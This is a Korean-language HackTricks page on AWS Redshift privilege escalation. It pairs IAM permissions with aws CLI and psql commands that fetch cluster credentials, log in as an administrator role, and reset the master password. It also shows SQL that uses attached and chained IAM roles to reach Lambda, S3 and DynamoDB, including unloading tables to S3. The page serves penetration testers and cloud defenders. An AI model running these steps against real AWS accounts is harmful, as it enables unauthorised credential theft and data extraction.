AWS - Redshift Privesc

Support HackTricks

Redshift

RDS에 대한 자세한 정보는 다음을 참조하십시오:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

이 권한을 사용하면 모든 클러스터의 정보(이름 및 클러스터 사용자 이름 포함)를 얻고 접근할 수 있는 자격 증명을 얻을 수 있습니다:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

잠재적 영향: 데이터베이스 내의 민감한 정보 찾기.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

이 권한을 통해 모든 클러스터의 정보를 얻고 접근할 수 있는 자격 증명을 얻을 수 있습니다. postgres 사용자는 자격 증명을 얻기 위해 사용된 IAM 아이덴티티가 가진 권한을 가지게 됩니다.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

잠재적 영향: 데이터베이스 내의 민감한 정보 찾기.

redshift:DescribeClusters, redshift:ModifyCluster?

aws cli에서 내부 postgres (redshift) 사용자의 마스터 비밀번호를 수정하는 것이 가능합니다 (이 권한이 필요할 것 같지만 아직 테스트해보지 않았습니다):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

잠재적 영향: 데이터베이스 내에서 민감한 정보를 찾습니다.

외부 서비스에 접근하기

다음 모든 리소스에 접근하려면 사용할 역할을 지정해야 합니다. Redshift 클러스터는 AWS 역할 목록을 할당받을 수 있으며, ARN을 알고 있다면 이를 사용할 수 있습니다. 아니면 "default"를 설정하여 기본 할당된 역할을 사용할 수 있습니다.

또한, 여기에서 설명한 것처럼, Redshift는 추가 접근 권한을 얻기 위해 역할을 연결하는 것도 허용합니다 (첫 번째 역할이 두 번째 역할을 가정할 수 있는 한). 이때 쉼표로 역할을 구분합니다: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html에서 설명한 것처럼, Redshift에서 lambda 함수를 호출하는 것이 가능합니다. 예를 들어:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html에 설명된 것처럼, S3 버킷에 읽기 및 쓰기가 가능합니다:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html에 설명된 것처럼, dynamodb에서 데이터를 가져오는 것이 가능합니다:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Amazon DynamoDB 테이블이 데이터를 제공하려면 Amazon DynamoDB 테이블이 위치한 AWS Region을 지정하는 REGION 옵션을 사용하지 않는 한 클러스터와 동일한 AWS Region에 생성되어야 합니다.

EMR

https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html 확인

References

HackTricks 지원

Last updated